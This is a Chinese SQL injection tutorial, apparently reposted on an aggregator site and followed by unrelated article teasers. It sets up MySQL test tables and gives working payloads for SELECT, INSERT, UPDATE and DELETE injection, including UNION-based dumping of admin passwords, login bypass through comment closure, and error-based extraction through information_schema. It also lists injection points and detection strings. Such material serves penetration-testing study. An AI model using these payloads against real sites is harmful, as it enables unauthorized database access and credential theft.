sql注入漏洞语句原型及闭合方法

首先,创建测试库,表,准备好测试数据

1.建库

create database test;
show databases;
use test;

2.建表 personal_info(人员信息表),admin(假设为网站管理表,里面存的是网站后台管理员的账号密码)

create table if not exists `personal_info`(
`id` int unsigned not null auto_increment,
`name` varchar(50) not null,
`age` int not null,
`phonenu` varchar(20) not null unique,
`email` varchar(20) not null unique,
`sex` varchar(20) not null default 'man',
`birthday` date not null default '1991-01-01',
primary key(`id`),
index username_index(`name`),
index userpass_index(`phonenu`)
)ENGINE=MyISAM DEFAULT CHARSET=utf8 collate utf8_general_ci;
create table if not exists `admin`(
`id` int unsigned not null auto_increment,
`username` varchar(50) not null,
`passwd` varchar(50) not null,
`email` varchar(20) not null unique,
primary key(`id`),
index username_index(`username`),
index userpass_index(`passwd`)
)ENGINE=MyISAM DEFAULT CHARSET=utf8 collate utf8_general_ci;

2 select 查询注入:

关于select 的注入,也可能会是我们在实战中遇到的最多的一种注入语句。实际上在前端涉及增删改的操作一般都非常少,除非像那种论坛程序。对于大多数普通的 cms 而言,前端用户的大多数操作可能都是在点击链接,然后把对应的参数值传给后端脚本,然后脚本再到数据库中去查,之后再把查询的结果返回给前端页面显示给用户

# 标准数字型注入语句:
select * from personal_info where id=3;
# 数字型sql注入利用,数字嘛,也不存在什么闭合,直接跟上sql,就可以一下就把网站管理员的账号密码都查
出来:
select * from personal_info where id=-3 union select username,passwd,3,4,5,6,7
from admin;
# 标准字符型注入语句:
select * from personal_info where name='fedora';
# 字符型sql注入利用,想办法闭合单引号,and后面可随意跟上各种子查询就可以把所有数据遍历出来了
select * from personal_info where name='fedora' and 12=12 -- -; '
# 各种常见的登陆框注入漏洞原型sql语句:
select * from admin where username='admin' and passwd='abc123';
# 具体利用方法如下,依然是闭合前面注释后面,在and后面跟上各种子查询,直到把所有想要的数据都遍历出
来:
select * from admin where username='admin' and 12=12 -- - passwd='abc123';
# 针对各类搜索框注入的漏洞原型sql语句:
select * from personal_info where name like '%ka%';
# 具体利用方法 也非常简单,只需要前后的单引号和通配符都闭合掉即可保证语句的正常执行
select * from personal_info where name like '%%' and 12=12 -- +%';

3 insert 注入

因为一些功能需求,在前端可能会有很多需要录入各种用户信息的表单。丢给后端脚本以后,脚本会把 传过来的这些数据再插到数据库。例如典型的基于各种形式的个人中心功能。一旦遇到了,都可以随便 尝试 insert 注入。注意,想成功利用 insert 注入有个必要的前提,就是你一定要知道自己插入的数据在前端的什么地方显示。如果别人只是单单搜集用户信息,然后插到数据库中,并没有在前端页面上显示,即使你知道它存在 insert 注入也是个鸡肋

# 漏洞语句原型:
insert into personal_info(*)
values('injection',123,'123456789011','sqli@inection.org','man','0000-00-00');
# 利用如下,注意这里的闭合方法,insert前后字段的个数和数据类型务必一致,不然是闭合不了的,具体该怎
么确定字段个数呢,其实很简单,你就一位位的字段递增,直到它返回正常为止,然后再在爆出来的字段上查数据
就可以了
insert into personal_info(name,age,phonenu,email,sex,birthday)
values('injection',1,2,3,4,5)--
-123,'123456789011','sqli@inection.org','man','0000-00-00');

4 update 注入

关于 update 利用的点有两个:

  • 一个是在 set 的时候。如果 set 的是一个从前端传过来的变量,结果可想而知。
  • 另一个则是where后面的条件,因为这个条件也是可以从前端传过来的,这个后果想必就应该清楚了。

相对于 insert 可能会比较麻烦的一点的是,update 一般都是在 set 一个新值,这也就意味着我们在闭合的时候,在前端很可能是没有任何回显的,这样的话我们在实际查询数据的时候可能就要费点儿劲了。具体利用过程如下

# 漏洞原型语句:
update personal_info set email = 'flow@yeah.net' where name='fedora';
# 漏洞利用语句,其实,这里是利用 mysql 自身的报错特性来查数据的,但大多数情况下,稍微有点儿尝试的
目标站一般都会接收页面错误,这时你依然可以利用盲注的来查数据,方法大同小异
update personal_info set email=''*(select 1 from(select count(*),concat((select
(select (select concat(0x7e,database(),0x7e))) from information_schema.tables
limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)* ''
where name='fedora';

5 delete注入

对于delete语句,我们唯一能控制的地方可能就只有 where 后面的条件了。清晰明白这一点之后,剩下的事情就很好办了。说实话,在现在的 web 程序里,在前台涉及到 delete 的操作非常少,可以说几乎是没有。不过有时还是可以在后台尝试下,尤其在权限特别高的时候。至于怎么利用它来查数据,跟update 差不太多,基本也是靠报错或者盲注来搞。具体利用过程如下

# 漏洞原型sql语句:
delete from personal_info where id='fedora';
# 针对性注入利用,这个闭合其实跟select的时候差不多,无非就是数字或者字符串,数字就不存在什么闭合
了,如果是字符串,注意闭合掉前后的单引号即可
delete from personal_info where id='fedora' or (select 1 from (select
count(*),Concat((select database()),0x3a,floor(rand(0)*2))y from
information_schema.tables group by y)x) -- +';

SQL注入常见注入点

  1. GET 请求的 URL: 正常情况下这里应该是最先会尝试的地方
  2. POST 数据字段中: 数据较多时一般都会用 POST 传,会是个不错的入手点
  3. cookie 中传的数据: 有些还可能会把一些参数放在 cookie 中传,所以这儿也会是个不错的入手点
  4. Referer: Referer 本身用来记录上一个页面的url,但一旦被存到数据库中之后又被带入查询,你懂的
  5. User-agent: UA 本身用来记录客户端信息,只要被记录到数据库之后又被带入查询一样可被利用
  6. X-Forwarded-For: XFF 本身专门用来记录客户端真实ip,如果脚本在处理时把它也带到数据库中去查询...

简单的检测方法

基于报错的检测方法 利用特殊字符 ' " % () 来进行测试。如果web application报错了就说明存在注入点。

基于布尔的检测方法

1' and '1'='1 //真
1' and '1'='2 //假

观察返回值是否按照输入返回真假。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/569284.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

小程序AI智能名片商城系统如何依赖CPM、CPC、CPS技术应用进行营销

在数字化营销的新纪元中,小程序AI智能名片商城系统以其高效、智能的特性,成为了企业营销的重要工具。而CPM、CPC、CPS这三种技术应用,更是为该系统赋予了强大的营销能力。接下来,我们将通过详细的例子,探讨这些技术是如…

微信小程序webview和小程序通讯

1.背景介绍 1.1需要在小程序嵌入vr页面,同时在vr页面添加操作按钮与小程序进行通信交互 1.2 开发工具:uniapp开发小程序 1.3原型图 功能:.点击体验官带看跳转小程序的体验官带看页面 功能:点击立即咨询唤起小程序弹窗打电话 2.…

力扣数据库题库学习(4.23日)

610. 判断三角形 问题链接 解题思路 题目要求:对每三个线段报告它们是否可以形成一个三角形。以 任意顺序 返回结果表。 对于三个线段能否组成三角形的判定:任意两边之和大于第三边,对于这个表内的记录,要求就是(x…

【C语言】指针篇-一篇搞定不同类型指针变量-必读指南(3/5)

男儿不展风云志,空负天生八尺躯。——《警世通言卷四十》🌈个人主页:是店小二呀 🌈C语言笔记专栏:C语言笔记 🌈C笔记专栏: C笔记 🌈喜欢的诗句:无人扶我青云志 我自踏雪至山巅 上篇…

vue项目启动npm install和npm run serve时出现错误Failed to resolve loader:node-sass

1.常见问题 问题1:当执行npm run serve时,出现Failed to resolve loader: node-sass,You may need to install it 解决方法: npm install node-sass4.14.1问题2:当执行npm run serve时,出现以下错误 Fa…

ADC内部运行原理

1以一个简单的外置ADC为例讲解 1在外部由地址锁存和译码经行去控制通道选择开关//去控制外部那一条IO口输入,输入到比较器 2逐次逼近寄存器SAR每次从三态锁存缓冲器读取值在由DAC(数模转换成模拟电压)在输入到比较器当io信号和DAC信号几乎一样…

JWT原理解析

一、概述 虽然现在很多的开发框架会支持JWT的使用,但是对JWT还是没有一个详细的了解,有很多疑惑: JWT比之前的session或者token有什么好处?JWT的构成元素是什么?JWT从生成到使用的详细流程? 二、 JWT 2…

华为数通方向HCIP-DataCom H12-821题库(多选题:321-340)

第321题 关于OSPF的命令描述,不正确的是: A、stub区域和totally stub区域配置了no-summary参数 B、OSPFv2和OSPF v3配置接口命令的区别是OSPF V2可以使用network命令,而OSPFv3直接 C、在接口上使能stubrouter命令用来配置次路由器为stub路由器,stub路由器可以与非stub路由 …

AUTOSAR-COMStack-003_SignalGroup如何发送接收

1. Ref Ref.1 AUTOSAR_RS_Main.pdf Ref.1 AUTOSAR_RS_Features.pdf Ref.2 AUTOSAR_SRS_COM.pdf Ref.3 AUTOSAR_SWS_COM.pdf 2. 为什么要使用Signal Group? 2.1 Traceabilty [RS_PO_00004] AUTOSAR shall define an open architecture for automotive software.…

debian和ubuntu的核心系统和系统命令的区别

Debian和Ubuntu虽然有很深的渊源,都是基于Debian的发行版,但它们在核心系统和系统命令上还是有一些差别的。以下是一些主要的不同之处: 1. 发布周期: - Debian: Debian项目采用滚动发布模型,持续更新&a…

【数据结构(邓俊辉)学习笔记】向量03——无序向量

文章目录 0.概述1.元素访问2.置乱器3.判等器与比较器4.无序查找4.1 判等器4.2 顺序查找4.3 实现4.4 复杂度 5. 插入5.1 算法实现5.2 复杂度分析 6. 删除6.1 区间删除6.2 单元删除6.3 复杂度 7. 唯一化7.1 实现7.2 正确性7.3 复杂度 8. 遍历8.1 实现8.2 复杂度 9. 总结 0.概述 …

vue3引入图片 无法使用require, vue3+vite构建项目使用require引入包出现问题需要用newURL来动态引入图片等静态资源

在vue3中 require引入图片的本地资源报错Uncaught (in promise) ReferenceError: require is not defined <template> <img :src"imageSrc" alt"My Image"> </template> <script> import imageSrc from /assets/image.png; export…

多媒体技术如何为地震体验馆增添更多真实元素?

近年来&#xff0c;为提升公众安全意识&#xff0c;众多体验式科普展馆纷纷崭露头角&#xff0c;其中地震体验馆尤为引人瞩目&#xff0c;成为学校安全教育的热门场景&#xff0c;接下来&#xff0c;我们就深入探索一下&#xff0c;这种运用了多媒体技术的地震体验馆&#xff0…

有哪些好用的电商API接口(京东|天猫|淘宝商品详情数据接口)

此API目前支持以下基本接口&#xff1a; 如何获取此API测试权限&#xff1f; item_get 获得淘宝商品详情item_get_pro 获得淘宝商品详情高级版item_review 获得淘宝商品评论item_fee 获得淘宝商品快递费用item_password 获得淘口令真实urlitem_list_updown 批量获得淘宝商品上…

云计算中的过度授权:安全隐患与应对策略

云计算凭借其弹性、可扩展等优势&#xff0c;已经成为诸多企业组织拓展业务的重要基础设施之一。然而&#xff0c;与传统IT架构相比&#xff0c;云计算环境的安全管理也面临着新的挑战。过度授权 (Overprivileging) 便是云安全领域亟待解决的主要问题之一&#xff0c;本文将带领…

开源模型应用落地-LangChain高阶-知识图谱助力记忆增强

一、前言 通过langchain框架调用本地模型&#xff0c;使得用户可以直接提出问题或发送指令&#xff0c;而无需担心具体的步骤或流程。langchain会自动将任务分解为多个子任务&#xff0c;并将它们传递给适合的语言模型进行处理。 本篇通过使用 ConversationKGMemory 组件&#…

MySQL简解

文章目录 1. MySQL框架2. 执行流程2.1. 连接池&#xff1a;2.2. SQL 前端(SEVER)2.2.0. 查询缓存2.2.1. SQL 接口2.2.2. SQL 解析器2.2.3. SQL 执行器2.2.4. INNODB 中读写操作 2.3. 数据的保存形式 3.其他重要概念3.1. 索引3.1.1. 简单概念3.1.2. 索引优化&#xff1a;1. Usin…

【复现代码——环境配置】

目录 一、复现代码举例二、创建环境——选择一个Python版本2.1 创建基本环境2.1.1 基于AutoDL2.1.2 基于PyCharm 2.2 终端激活环境2.3 退出环境2.4 删除环境 三、PyTorch安装3.1 查看cuda3.2 安装PyTorch 四、其他依赖安装4.1 tensorboardX4.2 matplotlib4.3 medpy4.4 visdom4.…

stable-diffusion-webui安装与使用过程中的遇到的error合集

stable-diffusion-webui1.9.2踩坑安装 1. 安装过程1.1 stable-diffusion-webui1.2 在win11或win10系统安装&#xff0c;需修改两个启动脚本1.2.1 修改webui-user.bat1.2.2 修改webui.bat 1.3 双击 webui-user.bat 启动脚本1.3.1 no module xformers. Processing without on fre…

实体书营销:“三三裂变”,实操细节分享……

实体书营销:“三三裂变”,实操细节分享 一、实验结果 “三三裂变”的实验,结果比较好。就是我们大概有300人报名,但实际行动的只有109人,大概有103人都完成了三个人的目标,也就是说我们通过109人裂变了475人,利润率是1:4.5左右,整个裂变的效率还是可以的,也就是说: …